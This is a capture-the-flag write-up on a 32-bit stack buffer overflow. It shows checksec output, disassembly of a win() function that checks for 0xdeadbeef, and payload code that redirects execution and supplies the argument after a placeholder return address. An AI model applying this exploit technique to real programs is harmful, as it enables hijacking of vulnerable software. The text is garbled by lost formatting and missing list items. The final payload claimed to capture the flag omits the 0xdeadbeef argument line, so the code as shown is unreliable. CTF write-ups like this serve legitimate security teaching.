This challenge is similar to the last one, with a minor difference. In this challenge, we'll explore an Unnatural (Artificial) Jump and its implications for our payload. This write-up will match the one from the last challenge to show how similar they are.
Again, we always start with checksec.
checksec chall[*] './chall' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: NoNo canary, no PIE. We're good for standard buffer overflows.
If we check the disassembly for main, we see this method takes input from the user:
10x080491e6 <+39>: push 0x40
20x080491e8 <+41>: lea eax,[ebp-0x30]
3This is equivalent to:
read(0, ebp-0x30, 0x40);At this point, we should be confident in the buffer overflow. We plan to jump to win() found inside info functions.
There's nothing new about our payload:
1payload = b'A' * 0x34
2payload += p32(0x08049176)When we run this, we don't get much of a response.
python3 exploit.py[+] Starting local process './chall': pid 38598Good luck winning here!You lose!We're confident in our padding and return address. Let's check on win() to see what's happening.
disas winDump of assembler code for function win: 0x08049176 <+0>: push ebp 0x08049177 <+1>: mov ebp,esp 0x08049179 <+3>: push ebx 0x0804917a <+4>: sub esp,0x4 0x0804917d <+7>: call 0x804923c <__x86.get_pc_thunk.ax> 0x08049182 <+12>: add eax,0x2e72 0x08049187 <+17>: cmp DWORD PTR [ebp+0x8],0xdeadbeef 0x0804918e <+24>: je 0x80491a6 <win+48> 0x08049190 <+26>: sub esp,0xc 0x08049193 <+29>: lea edx,[eax-0x1fec] 0x08049199 <+35>: push edx 0x0804919a <+36>: mov ebx,eax 0x0804919c <+38>: call 0x8049050 <puts@plt> 0x080491a1 <+43>: add esp,0x10 0x080491a4 <+46>: jmp 0x80491ba <win+68> 0x080491a6 <+48>: sub esp,0xc 0x080491a9 <+51>: lea edx,[eax-0x1fe2] 0x080491af <+57>: push edx 0x080491b0 <+58>: mov ebx,eax 0x080491b2 <+60>: call 0x8049060 <system@plt> 0x080491b7 <+65>: add esp,0x10 0x080491ba <+68>: mov ebx,DWORD PTR [ebp-0x4] 0x080491bd <+71>: leave 0x080491be <+72>: retEnd of assembler dump.We can get a better view of this in a program like Radare2:
push ebpmov ebp, esppush ebxsub esp, 0x4call __x86.get_pc_thunk.axadd eax, 0x2e72cmp DWORD PTR [ebp+0x8], 0xdeadbeefje 0x80491a6sub esp, 0xclea edx, [eax-0x1fec]push edxmov ebx, eaxcall putsadd esp, 0x10jmp 0x80491basub esp, 0xclea edx, [eax-0x1fe2]push edxmov ebx, eaxcall systemadd esp, 0x10mov ebx, DWORD PTR [ebp-0x4]leaveretThis shows win() has some sort of conditional! We see ebp+0x8 is being compared to 0xdeadbeef. It then does je to system@plt and jne to puts@plt.
From our past experience, we confidently guess we need to pass 0xdeadbeef somehow. We now need to understand how our stack frame looks between function calls.
This diagram assumes that we call win() naturally via a call win statement.
0xdeadbeef is pushed onto the stack. That is written in Yellow in the image.call win is executed. This does two vital things:
win() is finished executing.call.win(), the prologue of that function pushes ebp, then moves esp to make space for that method's stack frame.This whole sequence — call pushing a return address, the prologue saving the base pointer and carving out a new frame — is covered from the ground up in the Assembly course's Stack & Calls lesson.
Therefore, in the diagram, our parameter ends at ebp+0x8. This does not change across binaries; that is where the first parameter will be!
ebp+0xc, and so on.Now that we understand how parameters are passed naturally, let's try it.
We first attempt to format the payload the same as last challenge. That would look like:
1payload = b'A' * 52
2payload += p32(0x08049176)
3payload += p32(0xdeadbeef)If we run this, we still see "You lose!". Why? We have to understand our current stack frame.
It's important to note we arrived to win artificially, meaning we didn't arrive via a call. In this case, we overwrote a return pointer to arrive at this function. Considering the crucial steps of calling a function:
call)By us not using call to arrive at win, we miss Step 2! This means our argument is not where the interpreter expects it to be. This is why we still get You lose; our value was not loaded correctly.
To fix this, we need to make space for the return pointer. That can be any value, but I'll use 0x0 in this case. This value must go between the return address and the argument to ensure we're in the correct order.
1payload = b'A' * 52
2payload += p32(0x08049176)
3payload += p32(0x0)
4Running this successfully gets a flag!
python3 exploit.py[+] Starting local process './chall': pid 38602Good luck winning here!IFC{PL4C3H0LD3R_FL4G_H3R3!}